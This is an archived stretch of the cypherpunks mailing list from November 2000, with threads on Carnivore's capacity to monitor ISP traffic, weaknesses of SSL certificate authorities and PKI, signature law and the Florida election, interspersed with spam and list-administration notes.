as demonstrated by the BlackICE products > http://www.networkice.com/html/blackice_sentry.html First, like any other manufacturer's claims, these should be treated with some skepticism. Second, this is an intrusion detection system. I suspect that they are looking for something simpler than what Carnivore is trying to detect. Third, even if you believe that they can really analyse data at 100 Mbps, this still doesn't give them the ability to handle more than one PoP with two DS3 connections. This is still orders of magnitude away from being able to handle a major site with multiple 2.5G connections, let alone all of the traffic handled by a major ISP. The original claim was that Carnivore could monitor all of an ISP's traffic. This isn't true for most ISPs. And the amazing growth rates that we are seeing in bandwidth and network complexity make it exceedingly unlikely that Carnivore or anything like it will ever catch up. Qwest deployed 14,000 miles of fibre some years ago. This was packaged as conduits carrying 48 fiber pairs, each pair using wave division multiplexing to carry 8 to 16 optical channels, with each channel running at 10 Gbps. That's 160 Gbps per fiber, 7,680 Gbps per conduit. Qwest is one of many carriers. 160 Gbps over a fiber pair isn't state of the art. Qwest has many conduits. If a PC can monitor 100M of bandwidth, it would take, uhm, about seventy seven thousand PCs to monitor one of Qwest's conduits. Not that I believe that one PC can monitor traffic at 100 Mbps. > >The overall capacity and the complexity of the Internet is increasing > >at an explosive rate. For better or for worse, this far exceeds the > >growth in any government's capability of monitoring Internet traffic. -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From Results at TVEyes.com Sun Nov 19 21:21:27 2000 From: Results at TVEyes.com (Results at TVEyes.com) Date: Mon, 20 Nov 2000 00:21:27 -0500 Subject: CDR: crypto Message-ID: <59EBFD05352BD411B71600D0B74739D1F6A570@maileyes.tveyes.com> Your keyword(s), crypto, was recently spoken on WNYW during X-Files. Monday, Nov 20 2000 at 12:21 AM ......new women s tylenol menstrual relief bye ladies bye dad you want to catch a killer you arrest that crypto son of a bitch who shipped that do g over here ...... For details, visit http://www.TVEyes.com/database/expand.asp?ln=2612269&Key=crypto Just follow the above link to keep your account active for this keyword. For total control of your keywords, go to http://www.tveyes.com/log_in.asp Get $200 in FREE Gasoline: no risk, no obligation! http://by.advertising.com/1/c/23066/7793// AOL users click here From lists at notatla.demon.co.uk Sun Nov 19 16:25:40 2000 From: lists at notatla.demon.co.uk (lists at notatla.demon.co.uk) Date: Mon, 20 Nov 2000 00:25:40 GMT Subject: CDR: Re: Key-Address correspondence in networks? Message-ID: <200011200025.AAA04152@notatla.demon.co.uk> From: Ray Dillinger You seem to have 2 different questions. > In an application which passes encrypted messages from one host to > another, it is desirable to have the message differently encrypted > at each 'hop' along the way (to defeat traffic analysis). But, this > link-to-link encryption requires keeping track of an enormous number > of keys, and that introduces complexity which a cracker could use > to get into the system. You might consider proxy cryptography here. ftp://research.att.com/dist/mab/proxy.ps > The proposal is to use longer keys for each machine, and have the > IP address of each machine be part of its key. (or in another > network environment, assign it an "address" which happens to *be* > its key...) > My questions: > 1) Is using a longer key just paranoia in this case, or is there > an actual weakness in constricting the choice of public key > that makes the private key easier to derive? Assuming RSA and IPv4 you are only planning to fix 32 bits (perhaps the next to least significant because you want to cater for even numbered IP addresses) out of each prime of size 512 or 1024 or whatever. That does not sound like much reduced security. > 2) Is there a reasonable class of attacks and spoofs that this > protects against? I think so. Hard cheese for DCHP users though. From: Bram Cohen > Like I said, the important thing is that it stops passive attacks - in > practice man in the middle attacks just don't seem to happen. Sorry to take issue with Bram again but this reminds me of As far as we know, our computer has never had an undetected error. From tera-3 at enjoy.ne.jp Sun Nov 19 07:26:27 2000 From: tera-3 at enjoy.ne.jp (TAKA) Date: Mon, 20 Nov 2000 00:26:27 +0900 Subject: CDR: test Message-ID: <005401c0523d$161484a0$2d53e0ca@tera-3> :: Request-Remailing-To: 09071330009 at docomo.ne.jp 成功？ From announce at inbox.nytimes.com Sun Nov 19 21:43:10 2000 From: announce at inbox.nytimes.com (The New York Times on the Web) Date: Mon, 20 Nov 2000 00:43:10 -0500 (EST) Subject: CDR: Important Membership Information Message-ID: <200011200543.AAA04949@web79t.lga2.nytimes.com> Dear cypherpunks567, Welcome to NYTimes.com! We are delighted that you have decided to become a member of our community. As a member you now have complete access to the Web's premier source for news and information -- free of charge. NYTimes.com not only provides you with in-depth coverage of events happening around the world but also with a wealth of additional features and services. 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From bill.stewart at pobox.com Sun Nov 19 22:20:57 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Mon, 20 Nov 2000 01:20:57 -0500 Subject: CDR: Re: Carnivore All-Consuming In-Reply-To: Message-ID: <3.0.5.32.20001119213711.00b5db40@idiom.com> >On Sun, 19 Nov 2000, Steve Schear wrote: >> A PC, using off-the-shelf HW, is capable of filtering a full 100 Mbps link >> (144K packets/sec) as demonstrated by the BlackICE products >> http://www.networkice.com/html/blackice_sentry.html At 03:20 AM 11/20/00 +0000, Jim Dixon wrote: >Third, even if you believe that they can really analyse data at >100 Mbps, this still doesn't give them the ability to handle more >than one PoP with two DS3 connections. This is still orders of >magnitude away from being able to handle a major site with >multiple 2.5G connections, let alone all of the traffic handled by >a major ISP. >The original claim was that Carnivore could monitor all of an ISP's >traffic. This isn't true for most ISPs. Actually, "most" ISPs probably don't have more than two T3s or OC3s, because most ISPs are the 5000+ little ones; many only have a few T1s. But big ISPs are a different issue; any of the Tier 1 providers could melt a Pentium box if they directed a moderate fraction of their traffic at it. The question is how the carnivores tell the ISP's network what they're looking for, and how much cooperation they need from the ISP. Most ISP traffic is probably web, not email, and the email that's actually handled by ISPs (as opposed to just passing through) is handled by big mail servers that could perhaps be told to forward all mail for targeted accounts, since they need to do that level of indentification to handle the mail in the first place. For email, the big player is of course AOL, followed by specialized mail providers like iname.com, and the portal sites like Excite, Yahoo, and Hotmail, and a few ISPs like Earthlink/Mindspring. (The business has gotten sufficiently specialized that I'm not sure how many of those sites really provide their own service rather than outsourcing to specialists.) As with big ISPs, if they cooperate, the job's possible, and if they don't it's pretty intractable. If you know your target's IP address, it's a lot simpler - get the routing protocols to shove their traffic your way by advertising routes using OSPF, BGP, or whatever. >Qwest deployed 14,000 miles of fibre some years ago. This was >packaged as conduits carrying 48 fiber pairs, each pair using >wave division multiplexing to carry 8 to 16 optical channels, with >each channel running at 10 Gbps. That's 160 Gbps per fiber, >7,680 Gbps per conduit. Qwest is one of many carriers. 160 Gbps >over a fiber pair isn't state of the art. Qwest has many conduits. They do have a nice _little_ network :-) Actually, most of that fiber isn't even lit yet, much less full, and much of their bandwidth isn't ISP traffic, it's private line sold to businesses or other ISPs. The last AT&T marketing hype I saw placed us as #2, well behind UUNET. The real bandwidth constraints are mainly the routers - most big ISPs use Cisco 12000 GSRs or products from Juniper or other emerging competitors, most of which like to call their products "terabit" routers because they have reasonably large backplane capacity. A totally different bandwidth segment is inside the big hosting centers - Exodus, Globalcenter, etc. Most of that's Gigabit Ether, with various brands of switches and routers, and an amazing fraction of their traffic stays in the building, between different colo customers. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From petro at bounty.org Mon Nov 20 01:10:56 2000 From: petro at bounty.org (petro) Date: Mon, 20 Nov 2000 04:10:56 -0500 Subject: CDR: Re: Carnivore All-Consuming In-Reply-To: <3.0.5.32.20001119213711.00b5db40@idiom.com> References: <4.3.2.7.0.20001119104636.05a30b10@pop3.lvcm.com> Message-ID: >A totally different bandwidth segment is inside the big hosting centers - >Exodus, Globalcenter, etc. Most of that's Gigabit Ether, We've got Fiber running to our cage, but you're right about the Gigabit part. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From ernest at luminousnetworks.com Mon Nov 20 01:44:33 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Mon, 20 Nov 2000 04:44:33 -0500 Subject: CDR: RE: The cause of uncertainty in the election outcome. Message-ID: <090825D1E60BD311B8390090276D5C4965DD4F@galileo.luminousnetworks.com> Well, that's not entirely true either. The judicial system is generally pragmatic, in the sense that they do not address issues not brought before the court. For instance, if someone commits a crime, a prosecutor must bring up charges. Yes, this concept seems rather obvious and trivial, but what it means is that it is very easy for the body of laws which affect any particular situation (e.g. Presidential election) to become contradictory and for the accepted practice to deviate significantly from what the law strictly allows. It's not necessarily a bad thing that the system works this way, but it's definitely a side effect, and most people don't want to fix what ain't broke. Clearly, the Florida situation demonstrates that something is likely broken. Ern -----Original Message----- X-Loop: openpgp.net From: James A. Donald [mailto:jamesd at echeque.com] Sent: Sunday, November 19, 2000 11:24 AM To: cypherpunks at cyberpass.net Subject: The cause of uncertainty in the election outcome. Because the vote is so close, the outcome depends entirely on a multitude of judgment calls about which votes count, and which are counted, and how they shall be counted. The normal procedure in England and the democracies descended from England, or imposed by English troops, is that the major parties reach agreement before and during the vote count, on how the votes shall be counted. In the US however, you have a multitude of laws, laws which contradicted each other, and contradicted actual practice. For example a lot of perfectly good absentee ballots that were presented by the military in accord with the usual military practice were rejected this time because they did not comply with the letter of the law, even though they complied with custom and practice. The cause of the uncertainty is judicial imperialism. It is often said that Americans are litigious,but the cause of this destructive litigation is judicial willingness to unpredictably overturn existing practice. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 3246 bytes Desc: not available URL: From profer929. at yahoo.com Mon Nov 20 03:39:46 2000 From: profer929. at yahoo.com (profer929. at yahoo.com) Date: Mon, 20 Nov 2000 06:39:46 -0500 Subject: CDR: Tired Of Working For What Someone Else Thinks You Are Worth? Message-ID: <143.635787.641756@signal> Do Your Goals Include: -Controlling Your Financial Future? -Taking Back Your Time -Feeling Good About What You Do And Helping Others? Are You: -Tired Of Working For Someone Else And Getting Paid What "They" Think You Are Worth? -Tired Of The MLM "Dream Scene"? -Looking For A Legitimate Home-Based Enterprise That Will Generate $10k-$20k And More Monthly? THEN HERE IT IS: -Free Enterprise In Its Purest Form, Not MLM Or Franchise. -No Personal Selling. -Lead Generation System That Brings Qualified Prospects To You! -A Multiple Six Figure Income Is Realistically Attainable In 1st Year! -2 to 4 Year Retirement Program...PERIOD! -This Program Is All About Money...How To Make It, How To Keep It, And How To Make It Work For You. If You Are Serious About Wealth Creation, This May Very Well Be The Enterprise You Have Been Looking For. CALL TOLL FREE: 1-800-320-9895 Extension 5436 (24 Hour Recorded Message) "Whatever The Mind Can Conceive And Believe, It Can Achieve." Napoleon Hill To be removed respond at profer929 at yahoo.com From anonymous at openpgp.net Mon Nov 20 04:59:31 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Mon, 20 Nov 2000 07:59:31 -0500 Subject: CDR: Redux:ABCNews.com on election eve: blunder, or forecast? Message-ID: <8aaa9081f7d7e94d317a1b724c61da71@mixmaster.ceti.pl> It seemed like our United New World Trading Order of Internationally Banking Trilateral Masters were playing the cards close to their chest this election. Democracy was now showing the seams of the media's 1998 premature release of the names of our (as yet) unelected masters. Had no-one told the media whores at ABC that coming in the mouths of your 'consumer base' is considered bad taste? One of the more prophylactic measures instituted by the pimps on the hill was to stop revealing the results of the elections to the press the week before they were counted, but this wasn't enough. Somewhere in America, perhaps in your town, perhaps in your very school, a little girl had stopped believing in democracy! The public faith in the democratic process, which had always been strong, was now in danger of collapse. If election results were so easily 'predicted', where was the incentive to vote? And if the public didn't vote, they'd turn their energies to lobbying for special interests, leaving the pimps as redundant as betamax. Panic (and dare I say anarchy) reigned in the dimly lit back rooms of Washington D.C. Somebody, anybody had to _do_ something, and do it now! But, as always, the pimps had a solution. They asked the media to pull one more trick for them. There would be an election, with two candidates so closely matched that the public would be unable to decide between them. They would have the same policies, make the same promises, and wear the same suits. The election would be so close, that a handful of voters would decide the next President Of The United States. The media would tease the public again and again with the final result, before snatching it back in a tantric, fiery renewal of the democratic spirit. And thus, The American Way was saved... --------Forwarded Message-------- Date:Thu, 05 Nov 1998 08:56:34 -0500 To:politech at vorlon.mit.edu From:Declan McCullagh Subject:FC: ABCNews.com on election eve: blunder, or forecast? Reply-To:declan at well.com From tom at ricardo.de Mon Nov 20 05:27:06 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 20 Nov 2000 08:27:06 -0500 Subject: CDR: Re: Florida Supreme Court freezes certification References: <200011172118.QAA27768@www6.aa.psiweb.com> <00111703590602.11495@reality.eng.savvis.net> Message-ID: <3A19222F.413979F7@ricardo.de> Jim Burnes wrote: > Since when did the Florida Supreme Court have executive authority? you missed the US's transformation to a courtocracy, didn't you? From batsy at vapour.net Mon Nov 20 06:08:20 2000 From: batsy at vapour.net (batz) Date: Mon, 20 Nov 2000 09:08:20 -0500 (EST) Subject: CDR: Re: Carnovore All-Consuming Message-ID: If this has been covered already, appologies.. In regards to comments about BGP and OSPF being used to re-route traffic, this can be done easily with a TACACS+ or RADIUS profile. These service authenticate users, and allocate netblocks/routes to connections. This means that they alter the routing tables on a per-user basis, as a basic part of their functionality. Sound familiar? If not, I recommend looking at UUNet's presentation of CenterTrack, their tool for tracking DDoS attacks which, with some imagination, could be used for a host of other things. CenterTrack http://www.nanog.org/mtg-9910/robert.html Also, one of the common misconceptions about traffic monitoring is that the sniffer is also a router, or is storing and forwarding the packets in some statefull manner. This is not the case at all. It only requires a simple vlan entry to mirror, or even just put a port the same vlan membership as the link you are monitoring. A CenterTrack-like system makes it easy to monitor on a user by user basis, almost undetectably. With this granularity, the amount of traffic monitored can be substantially reduced by only re-routing single, or blocks of users through a system like CenterTrack, while excluding high bandwidth customers, and non-targets. Carnivore != Echelon. There are serious jurisdictional issues faced by LEA's that discourage direct collaboration between spooks and feds, to say the least. There are rumours that Coral and other flow management tools (found at CAIDA.org) were directly linked to the development of a carnivore-like system. These are unsubstantiated hearsay from irc, and like most great conspiracy stories it hinges on the improbable, but creepily possible. The technology shouldn't be a suprise to anyone with a networking background, or anyone that can legitimately lay claim to the title of BOFH. I think people should be suprised at the grey areas in wiretap laws as they relate to ISP's. There are great people in law enforcement who do phenomenal work. They provide a critical and often thankless job to the public and their country. If they are going to do their jobs as best they know how, alot of red tape is going to have to be cut. Unfortunately, that red tape is also your freedom, your rights, and your quality of life. Regards, -- batz Reluctant Ninja Defective Technologies From Lynn.Wheeler at firstdata.com Mon Nov 20 09:51:03 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Mon, 20 Nov 2000 09:51:03 -0800 Subject: Public Key Infrastructure: An Artifact... Message-ID: <8525699D.005CB821.00@lnsunr02.fl.firstdata.com> as pure asside ... any SSL server certificate signed by any CA in my browswer's CA list is acceptable. for list of current valid signing CA's in a typical browswer see: http://www.garlic.com/~lynn/aepay4.htm#comcert14 http://www.garlic.com/~lynn/aepay4.htm#comcert16 my broswer makes no distinction on which CA signed what ... and/or even what they signed. If I get a certificate signed by any CA in my browswers list that says foo.bar ... and I think i'm connecting to foo.bar ... then the SSL connection will go thru. given that the supposed justification for SSL certificates is weaknesses in the domain name infrastructure integrity ... and they beef up the domain name infrastructure integrity (in part so that SSL certificate issuing operations ... like any from the above list ... can rely on domain names not having been hijacked) ... then it eliminates that as a business case & justification for SSL certificates. There are a lot of short-comings of the existing SSL certificate infrastructure. To a large extent, most PKI definitions are purely hypothetical (there is the line someplace, in theory there is no difference between theory and practice, but in practice there is) ... trivial example is that most PKI definitions include things like CRLs for dealing with revoked or compromised certificates/private keys ... and yet the SSL infrastructure doesn't have any of that in it (even tho client checking of server SSL domain certificates accounts for 99.999999% of all such PKI operations that occur in the world today). Ben Laurie on 11/19/2000 05:03:20 AM This is not a comment on the crapness of PKI, it is a comment on the crapness of Verisign. The two are far from synonymous. Don't get me wrong - I don't think PKI is a perfect solution by any means - however, it gets us nowhere to attribute the faults of others to PKI. Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From ravage at EINSTEIN.ssz.com Mon Nov 20 07:56:04 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 09:56:04 -0600 (CST) Subject: CDR: We're back... Message-ID: Hi, Sorry, had a hardawre failure and it was harder than expected to get a replacement. We're not expecting futher problems. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From mmotyka at lsil.com Mon Nov 20 10:00:34 2000 From: mmotyka at lsil.com (mmotyka at lsil.com) Date: Mon, 20 Nov 2000 10:00:34 -0800 Subject: CDR: RE: The cause of uncertainty in the election outcome. Message-ID: <3A1966C1.6512D3FA@lsil.com> However the recounts work out I think it's pretty clear that in the statitical sense we have a tie. The uncertainties are far larger than the measured difference. Even the national totals are within about 0.1%. This is probably 1 or 2 orders of magnitude less than the percentage of disqualified ballots. So much for the significance of the popular vote. Send the damn thing to Congress already. Mike From ravage at EINSTEIN.ssz.com Mon Nov 20 08:07:56 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 10:07:56 -0600 (CST) Subject: CDR: Re: ssz.com network trouble In-Reply-To: <3.0.5.32.20001118170331.00b5dbe0@idiom.com> Message-ID: Hi Bill, On Sat, 18 Nov 2000, Bill Stewart wrote: > I did a traceroute (well, mswindoze tracert, anyway), and got a > "destination unreachable" from a machine at realtime.net in Austin. > SSZ has often been unreliable; Unreliable? We average six and eight month uptimes. And when the outages occur it has been either hardware failure or a service failure. We average 2 hardware failures per year and it usualy(!) takes less than 4 hours to have it replaced (not bad for off the shelf consumer equipment). A scratch OS re-load is a 2hr downtime. I have the system down less than 8 hours a month (usualy only a few minutes at a time) for routine maintenance and cleaning. We usualy get about 4 service interruptions of some sort or another a month. They usualy last about 4 hours. The section of town I live in is over 100 years old and in major reconstruction so this isn't too bad. Irrespective, there isn't anything I can do about those anyway. At your age, you wish you were as regular as SSZ is. > I think it's connected by ISDN, and it's raining down in Texas. Yes, we had a ISDN/Ethernet issue. Replacing the hardware with a suitable model was harder than expected, coudn't find anyone open with stock on Saturday. As to rain, 4in/hr is a tad more than a sprinkle junior. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Mon Nov 20 08:08:52 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 10:08:52 -0600 (CST) Subject: CDR: Re: your mail In-Reply-To: <009a01c051bf$e387b8e0$0100a8c0@nandts> Message-ID: On Sat, 18 Nov 2000, Neil Johnson wrote: > Is there something wrong with ssz.com. I haven't gotten any list mail and I > can get to the site. We fall down, go BOOM! Hardware failure late Friday nite and I couldn't find any in stock repalcements until this morning. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Mon Nov 20 08:11:39 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 10:11:39 -0600 (CST) Subject: CDR: Re: ssz.com network trouble In-Reply-To: <00ce01c051c9$357c7880$0100a8c0@nandts> Message-ID: On Sat, 18 Nov 2000, Neil Johnson wrote: > I subscribed to cyberpass.net and am still not getting any messages. Is this > related to ssz ? This is an important point, all the nodes need to be inter-connected. If you're only getting a single feed then you're open to service failure at a single point. If we're all interconnected it takes a n-point failure to take the entire net down. If anyone wants me to add them to the SSZ feed drop me a line privately. Distribution is power! Here's my current feed: PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin/ MAILDIR=$HOME/Mail #DEFAULT=$MAILDIR/received DEFAULT=/dev/null LOGFILE=$MAILDIR/procmail.log # htp.org retired :0 Wh | formail -D 12800 msgid.cache :0 c !cpunks at minder.net :0 c !cypherpunks at openpgp.net :0 c !cypherpunks at algebra.com :0 c !cypherpunks at cyberpass.net :0 c !cypherpunks at ds.pro-ns.net :0 c !mailman-cypherpunks at koeln.ccc.de :0: * ^X-Loop:.*ssz.com /dev/null :0 c !cypherpunks at ssz.com ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Mon Nov 20 08:16:58 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 10:16:58 -0600 (CST) Subject: CDR: ADMIN: List Moving (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: 19 Nov 2000 13:13:40 -0500 From: "Perry E. Metzger" To: cryptography at c2.net Subject: ADMIN: List Moving The cryptography list will be moving in the next few days from c2.net to a server I control elsewhere. "Stay tuned." Perry From ravage at EINSTEIN.ssz.com Mon Nov 20 08:45:38 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 10:45:38 -0600 (CST) Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: Message-ID: On Fri, 17 Nov 2000, Peter Wayner wrote: > The law is very vague about the definition of signatures. It's simply > a mark that is made with the intent of binding yourself to a > contract. That means the old 'X' scratched on a piece of paper can > still bind the illiterate. Mathematicians and computer security folks > will probably recoil in horror about the circularity of the whole > scheme, but that's the best the law could develop during the > pen-and-ink years. This is the reason for witnesses and notaries. One person can easily lie about a signature. It's harder to arrange several (independent) agents to lie about it. The 'x' mark usualy has to be witnessed to be legitimate. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From honig at sprynet.com Mon Nov 20 08:36:03 2000 From: honig at sprynet.com (David Honig) Date: Mon, 20 Nov 2000 11:36:03 -0500 Subject: CDR: Re: Carnivore All-Consuming In-Reply-To: Message-ID: <3.0.6.32.20001120083400.007dccb0@pop.sprynet.com> At 10:34 PM 11/19/00 -0500, Jim Dixon wrote: >> A PC, using off-the-shelf HW, is capable of filtering a full 100 Mbps link >> (144K packets/sec) as demonstrated by the BlackICE products >> http://www.networkice.com/html/blackice_sentry.html > >First, like any other manufacturer's claims, these should be treated >with some skepticism. > >Second, this is an intrusion detection system. I suspect that they >are looking for something simpler than what Carnivore is trying to >detect. Run a raw tcpdump on a machine with 2 cpus, maybe filter online with something simple (like IP addr) and reconstruct offline. You're not analyzing on line, you're recognizing addresses and DMAing buffers which are flushed to nonvolitile storage. Re: monitoring an OC-XXX with overt access is just a matter of how much you can pay for fast electronics. Take a look at the Caida.org folks' work on monitoring backbones. Carnivore in its current state may well be a point-tool intended for leaf-node ISPs, but you can certainly extrapolate to Carnivore 2.0 for Gigabit Ether. "Just plug your boxes through ours and you'll be CALEA-compliant, and no more hassles from us.." An optical tap (essentially a fiber optic beamsplitter) would be fairly fail-safe to the ISP. >Third, even if you believe that they can really analyse data at >100 Mbps, this still doesn't give them the ability to handle more >than one PoP with two DS3 connections. This is still orders of >magnitude away from being able to handle a major site with >multiple 2.5G connections, let alone all of the traffic handled by >a major ISP. > >The original claim was that Carnivore could monitor all of an ISP's >traffic. This isn't true for most ISPs. And the amazing growth >rates that we are seeing in bandwidth and network complexity make it >exceedingly unlikely that Carnivore or anything like it will ever >catch up. > >Qwest deployed 14,000 miles of fibre some years ago. This was >packaged as conduits carrying 48 fiber pairs, each pair using >wave division multiplexing to carry 8 to 16 optical channels, with >each channel running at 10 Gbps. That's 160 Gbps per fiber, >7,680 Gbps per conduit. Qwest is one of many carriers. 160 Gbps >over a fiber pair isn't state of the art. Qwest has many conduits. > >If a PC can monitor 100M of bandwidth, it would take, uhm, about >seventy seven thousand PCs to monitor one of Qwest's conduits. Not >that I believe that one PC can monitor traffic at 100 Mbps. > >> >The overall capacity and the complexity of the Internet is increasing >> >at an explosive rate. For better or for worse, this far exceeds the >> >growth in any government's capability of monitoring Internet traffic. > >-- >Jim Dixon VBCnet GB Ltd http://www.vbc.net >tel +44 117 929 1316 fax +44 117 927 2015 > > > From bear at sonic.net Mon Nov 20 11:40:47 2000 From: bear at sonic.net (Ray Dillinger) Date: Mon, 20 Nov 2000 11:40:47 -0800 (PST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <8525699D.005CB821.00@lnsunr02.fl.firstdata.com> Message-ID: On Mon, 20 Nov 2000 Lynn.Wheeler at firstdata.com wrote: >as pure asside ... any SSL server certificate signed by any CA > in my browswer's CA list is acceptable. > >my broswer makes no distinction on which CA signed what ... > and/or even what they signed. If I get a certificate signed > by any CA in my browswers list that says foo.bar ... I think that one of the major problems with PKI is the "binary-ness" of it. Everything gets shoveled into "acceptable" or "not acceptable" at the end of the process, but I don't think it's appropriate in trust decisions to have stuff shoveled into "acceptable" and "not acceptable" piles at the very beginning. We can't give a numeric score to the degree of trust we place in a CA. There's no protocol for exchanging information about breaches in trust regarding particular certs, so we can't have a policy for auto-updating our trust model. If I get a spoofed cert from a CA, and notice it, I ought to be able to downgrade the trust in that CA - without necessarily removing ALL trust in that CA. Furthermore, my system ought to pass along the news about the spoofed cert, along with the signature that proves it came from that CA, so that other systems can do the same. "Gossip" is really the only way a robust trust model can work. systems have to at least be ABLE to notify and inform one another when there's a breach of trust involving a CA, and different people have to be able to set the threshold for trust at different points. Bear From gbroiles at netbox.com Mon Nov 20 11:52:57 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Mon, 20 Nov 2000 11:52:57 -0800 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: ; from ravage@ssz.com on Mon, Nov 20, 2000 at 10:45:38AM -0600 References: Message-ID: <20001120115256.A22707@ideath.parrhesia.com> On Mon, Nov 20, 2000 at 10:45:38AM -0600, Jim Choate wrote: > On Fri, 17 Nov 2000, Peter Wayner wrote: > > > The law is very vague about the definition of signatures. It's simply > > a mark that is made with the intent of binding yourself to a > > contract. That means the old 'X' scratched on a piece of paper can > > still bind the illiterate. Mathematicians and computer security folks > > will probably recoil in horror about the circularity of the whole > > scheme, but that's the best the law could develop during the > > pen-and-ink years. > > This is the reason for witnesses and notaries. > > One person can easily lie about a signature. It's harder to arrange > several (independent) agents to lie about it. > > The 'x' mark usualy has to be witnessed to be legitimate. Do you have a cite for that? Peter Wayner's summary is a lot closer to the case law I've seen. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From reinhold at world.std.com Mon Nov 20 09:10:42 2000 From: reinhold at world.std.com (Arnold G. Reinhold) Date: Mon, 20 Nov 2000 12:10:42 -0500 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <3A17C2C7.CDEEE753@algroup.co.uk> References: <8525699C.0015DE9B.00@lnsunr02.fl.firstdata.com> <3A17C2C7.CDEEE753@algroup.co.uk> Message-ID: At 12:08 PM +0000 11/19/2000, Perry commented: > >[I see you've never paid attention to how easy it is to get a >certificate, Ben. I suspect I could get one in the name of any company >with about 20 minutes of unskilled forgery. The level of checking done >is trivial. This wouldn't be a problem except for the fact that all >CAs disclaim any and all liability for practical purposes. --Perry] > Perry's last sentence gets to the heart of the matter. If CAs included a financial guarantee of whatever it is they are asserting when they issue a certificate, then all these problems would go away. The CAs would have a strong interest in clarifying the semantics of certificates and would choose technology and verification methods that optimized the risk vs cost (including difficulty of use) tradeoff. I believe the reason this has not happened yet is that various business interests perceive an opportunity to get the government to shift all risk to the consumer by snowing legislators with crypto mumbo-jumbo. That is an even cheaper solution from the business interests' perspective. Arnold Reinhold From gbroiles at netbox.com Mon Nov 20 12:28:19 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Mon, 20 Nov 2000 12:28:19 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: ; from ravage@ssz.com on Mon, Nov 20, 2000 at 02:18:42PM -0600 References: Message-ID: <20001120122819.B22707@ideath.parrhesia.com> On Mon, Nov 20, 2000 at 02:18:42PM -0600, Jim Choate wrote: > Real-To: Jim Choate > > > On Mon, 20 Nov 2000, R. A. Hettinga wrote: > > > At 12:10 PM -0500 on 11/20/00, Arnold G. Reinhold wrote: > > > > > If CAs > > > included a financial guarantee of whatever it is they are asserting > > > when they issue a certificate, then all these problems would go away. > > > > Right. > > Bonding would not fix this problem. It only moves the question of identity > and responsibility to the bonding agency. You've still solved nothing. It's not a bond; and it doesn't solve the problem directly, but moves responsibility for solving the problem out of the end users' domain and into the CA's (or guarantor's) domain, where their greater resources and experience (and liability) will help them solve the problem in the most efficient and economic fashion. It's like putting prices on corporate or government bonds - you can look at the price of the bond to get an idea of the confidence people have in the likelihood that the underlying obligation will be repaid. Certificates which are priced on a risk-sensitive basis - or whose face value (or guarantee value, or whatever) is risk-sensitive allow people (and their computers) to immediately see both their own risk exposure in concrete terms, and to have an idea of what the market (including sophisticated participants) thinks about the risk. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From tcmay at got.net Mon Nov 20 12:38:57 2000 From: tcmay at got.net (Tim May) Date: Mon, 20 Nov 2000 12:38:57 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: References: 